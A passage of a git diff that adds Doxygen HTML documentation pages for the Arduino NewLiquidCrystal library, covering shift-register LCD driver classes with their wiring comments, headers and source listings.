+00282    }
+00283 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html new file mode 100644 index 0000000..90e61fa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html @@ -0,0 +1,123 @@ + + + + +LCD Library: LiquidCrystal_SR3W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_SR3W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR3W
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html new file mode 100644 index 0000000..62eaedd --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html @@ -0,0 +1,220 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 7.3.2012.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_SR3W.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+
21 // shift register. While it has been tested with a 74HC595N shift register
+
22 // it should also work with other latching shift registers such as the MC14094
+
23 // and the HEF4094
+
24 //
+
25 // This particular driver has been created as generic as possible to enable
+
26 // users to configure and connect their LCDs using just 3 digital IOs from the
+
27 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+
28 // in any configuration. The library is configured by passing the IO pins
+
29 // that control the strobe, data and clock of the shift register and a map
+
30 // of how the shiftregister is connected to the LCD.
+
31 //
+
32 //
+
33 // +--------------------------------------------+
+
34 // | MCU |
+
35 // | IO1 IO2 IO3 |
+
36 // +----+-------------+-------------+-----------+
+
37 // | | |
+
38 // | | |
+
39 // +----+-------------+-------------+-----------+
+
40 // | Strobe Data Clock |
+
41 // | 8-bit shift/latch register | 74HC595N
+
42 // | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 |
+
43 // +----+----+----+----+----+----+----+----+----+
+
44 // | | | | | | |
+
45 // |11 |12 |13 |14 |6 |5 |4 (LCD pins)
+
46 // +----+----+----+----+----+----+----+----+----+
+
47 // | DB4 DB5 DB6 DB7 E Rw RS |
+
48 // | LCD Module |
+
49 //
+
50 // NOTE: Rw is not used by the driver so it can be connected to GND.
+
51 //
+
52 // The functionality provided by this class and its base class is identical
+
53 // to the original functionality of the Arduino LiquidCrystal library.
+
54 //
+
55 //
+
56 // @author F. Malpartida - fmalpartida@gmail.com
+
57 // ---------------------------------------------------------------------------
+
58 #ifndef _LIQUIDCRYSTAL_SR3W_H_
+
59 #define _LIQUIDCRYSTAL_SR3W_H_
+
60 
+
61 #include <inttypes.h>
+
62 #include "LCD.h"
+
63 #include "FastIO.h"
+
64 
+
65 
+
66 class LiquidCrystal_SR3W : public LCD
+
67 {
+
68 public:
+
69 
+
90  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe);
+
91  // Constructor with backlight control
+
92  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+
93  uint8_t backlighPin, t_backlighPol pol);
+
94 
+
112  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+
113  uint8_t En, uint8_t Rw, uint8_t Rs,
+
114  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
115  // Constructor with backlight control
+
116  LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe,
+
117  uint8_t En, uint8_t Rw, uint8_t Rs,
+
118  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
119  uint8_t backlighPin, t_backlighPol pol);
+
120 
+
133  virtual void send(uint8_t value, uint8_t mode);
+
134 
+
145  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
146 
+
156  void setBacklight ( uint8_t value );
+
157 
+
158 private:
+
159 
+
165  int init(uint8_t data, uint8_t clk, uint8_t strobe,
+
166  uint8_t Rs, uint8_t Rw, uint8_t En,
+
167  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
168 
+
177  void write4bits(uint8_t value, uint8_t mode);
+
178 
+
185  void loadSR(uint8_t value);
+
186 
+
187 
+
188  fio_bit _strobe; // shift register strobe pin
+
189  fio_register _strobe_reg; // SR strobe pin MCU register
+
190  fio_bit _data; // shift register data pin
+
191  fio_register _data_reg; // SR data pin MCU register
+
192  fio_bit _clk; // shift register clock pin
+
193  fio_register _clk_reg; // SR clock pin MCU register
+
194  uint8_t _En; // LCD expander word for enable pin
+
195  uint8_t _Rw; // LCD expander word for R/W pin
+
196  uint8_t _Rs; // LCD expander word for Register Select pin
+
197  uint8_t _data_pins[4]; // LCD data lines
+
198  uint8_t _backlightPinMask; // Backlight IO pin mask
+
199  uint8_t _backlightStsMask; // Backlight status mask
+
200 
+
201 };
+
202 
+
203 #endif
+
204 
+
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_SR3W.cpp:183
+
Definition: LiquidCrystal_SR3W.h:66
+
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
Definition: LiquidCrystal_SR3W.cpp:133
+
Definition: LCD.h:187
+
void setBacklight(uint8_t value)
Definition: LiquidCrystal_SR3W.cpp:191
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR3W.cpp:162
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html new file mode 100644 index 0000000..b7f90b1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html @@ -0,0 +1,121 @@ + + + + +LCD Library: LiquidCrystal_SR.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html new file mode 100644 index 0000000..bc429f0 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html @@ -0,0 +1,320 @@ + + + + +LCD Library: LiquidCrystal_SR.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+00040 // If not using Enable, the Data pin is used for the enable signal by defining
+00041 // the same pin for Enable as for Data. Data and Clock outputs/pins goes to
+00042 // the shiftregister.
+00043 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00044 // Busy Flag (BF, data bit D7) is not read.
+00045 //
+00046 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00047 //
+00048 //
+00049 // History
+00050 // 2012.03.29  bperrybap - Added delays for faster fio shiftout (it got too fast)
+00051 //             AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32.
+00052 //             Added code to support indicating two wire mode by using enable=data pin
+00053 //             (documentation indicated this as working)
+00054 //             Fixed incorrect use of 5x10 for default font - now matches original LQ library.
+00055 //             can now eliminate enable pin in constructor for two wire mode.
+00056 // 2012.01.16  Florian Fida - faster digitalWrite/shiftOut
+00057 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00058 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00059 //             just a bit more memory efficient.
+00060 //             Thanks to CapnBry (from google code and github) who noticed it.
+00061 //             URL to his version of shiftregLCD:
+00062 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00063 // 2009.07.30  raron - minor corrections to the comments.
+00064 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00065 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00066 //             more streamlined interface
+00067 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduino
+00068 //             playgrond forum, the number of wires now required is only two!
+00069 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00070 //             posting this, so I had to fix it.
+00071 //             Renamed a function, but no improvements or functional changes.
+00072 // 2009.07.23  Incorporated some proper initialization routines
+00073 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00074 //             library improvements from LadyAda.
+00075 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00076 //             on the "official" LiquidCrystal library.
+00077 //
+00078 //
+00079 // @author F. Malpartida - fmalpartida@gmail.com
+00080 // ---------------------------------------------------------------------------
+00081 #include <stdio.h>
+00082 #include <string.h>
+00083 #include <inttypes.h>
+00084 
+00085 #if (ARDUINO <  100)
+00086 #include <WProgram.h>
+00087 #else
+00088 #include <Arduino.h>
+00089 #endif
+00090 #include "LiquidCrystal_SR.h"
+00091 
+00092 #include "FastIO.h"
+00093 
+00094 
+00095 // CONSTRUCTORS
+00096 // ---------------------------------------------------------------------------
+00097 // Assuming 1 line 8 pixel high font
+00098 LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, 
+00099                                     uint8_t enable ) 
+00100 {
+00101         init ( srdata, srclock, enable, 1, 0 );
+00102 }
+00103 
+00104 
+00105 // PRIVATE METHODS
+00106 // ---------------------------------------------------------------------------
+00107 
+00108 //
+00109 // init
+00110 void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, 
+00111                             uint8_t lines, uint8_t font)
+00112 {
+00113    // Initialise private variables
+00114    _two_wire = 0;
+00115    
+00116    _srDataRegister = fio_pinToOutputRegister(srdata);
+00117    _srDataBit = fio_pinToBit(srdata);
+00118    _srClockRegister = fio_pinToOutputRegister(srclock);
+00119    _srClockBit = fio_pinToBit(srclock);
+00120    
+00121    if ((enable == TWO_WIRE) || (enable == srdata))
+00122    {
+00123       _two_wire = 1;
+00124       _srEnableRegister = _srDataRegister;
+00125       _srEnableBit = _srDataBit;
+00126    }
+00127    else
+00128    {
+00129       _srEnableRegister = fio_pinToOutputRegister(enable);
+00130       _srEnableBit = fio_pinToBit(enable);
+00131    }
+00132    
+00133    // Configure control pins as outputs
+00134    // ------------------------------------------------------------------------
+00135    
+00136    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00137 }
+00138 
+00139 //
+00140 // shiftIt
+00141 void LiquidCrystal_SR::shiftIt(uint8_t val)
+00142 {
+00143    if (_two_wire)
+00144    {
+00145       // Clear to get Enable LOW
+00146       fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit);
+00147    }
+00148    fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST);
+00149    
+00150    // LCD ENABLE PULSE
+00151    //
+00152    // While this library is written with a shift register without an output
+00153    // latch in mind, it can work in 3-wire mode with a shiftregister with a
+00154    // latch. The shiftregister latch pin (STR, RCL or similar) is then
+00155    // connected to the LCD enable pin. The LCD is (very likely) slower
+00156    // to read the Enable pulse, and then reads the new contents of the SR.
+00157    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00158    {
+00159       fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit);
+00160       delayMicroseconds (1);         // enable pulse must be >450ns               
+00161       fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW);
+00162    } // end critical section
+00163 }
+00164 
+00165 // PUBLIC METHODS
+00166 // ---------------------------------------------------------------------------
+00167 
+00168 
+00169 /************ low level data pushing commands **********/
+00170 //
+00171 // send
+00172 void LiquidCrystal_SR::send(uint8_t value, uint8_t mode)
+00173 {
+00174    // Divide byte in two nibbles include the RS signal
+00175    // and format it for shiftregister output wiring to the LCD
+00176    // We are only interested in my COMMAND or DATA for myMode
+00177    uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00178    
+00179    if ( mode != FOUR_BITS )
+00180    {
+00181       shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble
+00182    }
+00183 
+00184    shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble
+00185    /*
+00186     * Add some delay since this code is so fast it needs some added delay
+00187     * even on AVRs because the shiftout is shorter than the LCD command execution time.
+00188     */
+00189 #if (F_CPU <= 16000000)
+00190    if(_two_wire)
+00191         delayMicroseconds ( 10 );
+00192    else
+00193         delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer
+00194 #else
+00195    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00196 #endif
+00197 
+00198 }
+00199 
+00200 //
+00201 // setBacklightPin
+00202 void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00203 { }
+00204 
+00205 //
+00206 // setBacklight
+00207 void LiquidCrystal_SR::setBacklight ( uint8_t mode ) 
+00208 { }
+00209 
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html new file mode 100644 index 0000000..39687a2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html @@ -0,0 +1,175 @@ + + + + +LCD Library: LiquidCrystal_SR.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_SR.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + +

+Classes

class  LiquidCrystal_SR

+Defines

#define SR_EN_BIT   0x80
#define SR_RS_BIT   0x04
#define TWO_WIRE   204
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   0x80
+
+
+ +

Definition at line 92 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   0x04
+
+
+ +

Definition at line 91 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define TWO_WIRE   204
+
+
+ +

Definition at line 90 of file LiquidCrystal_SR.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html new file mode 100644 index 0000000..9d0e584 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html @@ -0,0 +1,229 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_SR.h
+
13 // Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit
+
14 // ShiftRegister (SR from now on).
+
15 //
+
16 // @brief
+
17 // This is a port of the ShiftRegLCD library from raron and ported to the
+
18 // LCD library.
+
19 //
+
20 // The functionality provided by this class and its base class is identical
+
21 // to the original functionality of the Arduino LiquidCrystal library and can
+
22 // be used as such.
+
23 //
+
24 // Modified to work serially with the shiftOut() function, an 8-bit
+
25 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
26 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+
27 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+
28 // I used 74LS164, for the reason that's what I had at hand.
+
29 //
+
30 // Connection description:
+
31 //
+
32 // SR output:
+
33 // Bit #0 - N/C - not connected, used to hold a zero
+
34 // Bit #1 - N/C
+
35 // Bit #2 - connects to RS (Register Select) on the LCD
+
36 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+
37 // Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate")
+
38 //
+
39 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+
40 // If not using Enable, the Data pin will be used for the enable signal.
+
41 // 2 wire mode can be indicated by:
+
42 // - ommitting the enable pin in constructor
+
43 // - defining the same pin for Enable as for Data in constructor
+
44 // - by using the token TWO_WIRE for the enable pin.
+
45 //
+
46 // Data and Clock outputs/pins goes to the shiftregister.
+
47 // LCD RW-pin hardwired to LOW (only writing to LCD).
+
48 // Busy Flag (BF, data bit D7) is not read.
+
49 //
+
50 // Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+
51 //
+
52 //
+
53 // History
+
54 // 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode.
+
55 // 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy.
+
56 // 2011.07.02 Fixed a minor flaw in setCursor function. No functional change,
+
57 // just a bit more memory efficient.
+
58 // Thanks to CapnBry (from google code and github) who noticed it.
+
59 // URL to his version of shiftregLCD:
+
60 // https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+
61 // 2009.07.30 raron - minor corrections to the comments.
+
62 // Fixed timing to datasheet safe. Fixed keyword highlights.
+
63 // 2009.07.28 Mircho / raron - a new modification to the schematics, and a
+
64 // more streamlined interface
+
65 // 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono
+
66 // playgrond forum, the number of wires now required is only two!
+
67 // 2009.07.25 raron - Fixed comments. I really messed up the comments before
+
68 // posting this, so I had to fix it.
+
69 // Renamed a function, but no improvements or functional changes.
+
70 // 2009.07.23 Incorporated some proper initialization routines
+
71 // inspired (lets say copy-paste-tweaked) from LiquidCrystal
+
72 // library improvements from LadyAda.
+
73 // 2009.05.23 raron - first version, but based mostly (as in almost verbatim)
+
74 // on the "official" LiquidCrystal library.
+
75 //
+
76 //
+
77 //
+
78 // @author F. Malpartida - fmalpartida@gmail.com
+
79 // ---------------------------------------------------------------------------
+
80 #ifndef _LIQUIDCRYSTAL_SR_
+
81 #define _LIQUIDCRYSTAL_SR_
+
82 
+
83 #include <inttypes.h>
+
84 #include "LCD.h"
+
85 #include "FastIO.h"
+
86 
+
87 
+
88 // two-wire indicator constant
+
89 // ---------------------------------------------------------------------------
+
90 #define TWO_WIRE 204
+
91 #define SR_RS_BIT 0x04
+
92 #define SR_EN_BIT 0x80
+
93 
+
94 class LiquidCrystal_SR : public LCD
+
95 {
+
96 public:
+
108  LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE );
+
109 
+
122  virtual void send(uint8_t value, uint8_t mode);
+
123 
+
124 
+
134  void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+
135 
+
145  void setBacklight ( uint8_t mode );
+
146 
+
147 private:
+
148 
+
154  void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines,
+
155  uint8_t font );
+
156 
+
161  void shiftIt (uint8_t val);
+
162 
+
163  uint8_t _enable_pin; // Enable Pin
+
164  uint8_t _two_wire; // two wire mode
+
165 
+
166  fio_register _srDataRegister; // Serial Data pin
+
167  fio_bit _srDataBit;
+
168  fio_register _srClockRegister; // Clock Pin
+
169  fio_bit _srClockBit;
+
170  fio_register _srEnableRegister; // Enable Pin
+
171  fio_bit _srEnableBit;
+
172 
+
173 };
+
174 
+
175 #endif
+
176 
+
Definition: LCD.h:187
+
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
Definition: LiquidCrystal_SR.cpp:98
+
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR.cpp:207
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR.cpp:172
+
Definition: LiquidCrystal_SR.h:94
+
void setBacklightPin(uint8_t pin, t_backlighPol pol)
Definition: LiquidCrystal_SR.cpp:202
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html new file mode 100644 index 0000000..8049852 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "FastIO.h"
+#include "LiquidCrystal_SR_LCD3.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define SR_EN_BIT   B00010000
#define SR_RS_BIT   B01000000
#define SR_RW_BIT   B00100000
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   B00010000
+
+
+ +

Definition at line 167 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   B01000000
+
+
+ +

Definition at line 169 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RW_BIT   B00100000
+
+
+ +

Definition at line 168 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html new file mode 100644 index 0000000..310997e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html @@ -0,0 +1,295 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Originally Created by Francisco Malpartida on 2011/08/20.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // 2012/01/21 - Marc MERLIN
+00010 // This library, LiquidCrystal_SR_LCD3, was forked off LiquidCrystal_SR which
+00011 // used a different wiring than the Pebble and Pebblev2 (just released by
+00012 // freetronics in the arduino miniconf as part of linux.conf.au 2012) and
+00013 // therefore this code organizes the output data differently.
+00014 //
+00015 // Upstream source for this module is
+00016 // https://github.com/marcmerlin/NewLiquidCrystal
+00017 //
+00018 // Thread Safe: No
+00019 // Extendable: Yes
+00020 //
+00021 // @file LiquidCrystal_SR_LCD3.h
+00022 //
+00023 //  Connects an LCD using 3 pins from the Arduino, via an 8-bit 
+00024 //  ShiftRegister (SR from now on).
+00025 //  The original port source for this module is https://github.com/marcmerlin/NewLiquidCrystal
+00026 //  The 'FastIO' merge has madethis code 4 times faster.
+00027 // 
+00028 // @brief 
+00029 // This is a port of the ShiftRegLCD library from raron and ported to the
+00030 // LCD library.
+00031 //
+00032 // The functionality provided by this class and its base class is identical
+00033 // to the original functionality of the Arduino LiquidCrystal library and can
+00034 // be used as such.
+00035 //
+00036 // Pinout for this code is used by derivatives of the original LCD3Wire page:
+00037 // http://www.arduino.cc/playground/Code/LCD3wires
+00038 //
+00039 // This includes the LCA (linux.conf.au) Arduino Miniconf Pebble: 
+00040 // http://shieldlist.org/luke-weston/pebble
+00041 // https://github.com/lukeweston/Pebble
+00042 //
+00043 // It also includes the Pebble v2:
+00044 // http://www.arduinominiconf.org/index.php/Pebble_V2.0_Instructions
+00045 // http://www.freetronics.com/pages/pebble-v2
+00046 // https://github.com/lukeweston/pebble20/blob/master/README.md
+00047 // https://github.com/lukeweston/pebble20/blob/master/pebble-sch.pdf
+00048 //
+00049 // Shiftregister connection description:
+00050 // MC14094 input:  Arduino digital pin 2=Clock, pin 3=Data, pin 4=Strobe
+00051 // MC14094 output: Q8=DB4, Q7=DB5, Q6=DB6, Q5=DB7, Q4=E, Q3=RW, Q2=RS, Q1=None
+00052 //
+00053 //   +--------------------------------------------+
+00054 //   |    Arduino (ATMega 168 or 328)             |
+00055 //   |    D02           D03           D04         |
+00056 //   +----+-------------+-------------+-----------+
+00057 //        |4            |5            |6
+00058 //        |1            |2            |3
+00059 //   +----+-------------+-------------+-----------+
+00060 //   |    Strobe        Data          Clock       |
+00061 //   |    MC14094 8-bit shift/latch register      |
+00062 //   |    Q8   Q7   Q6   Q5   Q4   Q3   Q2   Q1   |
+00063 //   +----+----+----+----+----+----+----+----+----+
+00064 //        |11  |12  |13  |14  |7   |6   |5   |4
+00065 //        |11  |12  |13  |14  |6   |5   |4
+00066 //   +----+----+----+----+----+----+----+---------+
+00067 //   |    DB4  DB5  DB6  DB7  E    RW   RS        |
+00068 //   |               LCD KS0066                   |
+00069 //   +--------------------------------------------+
+00070 //
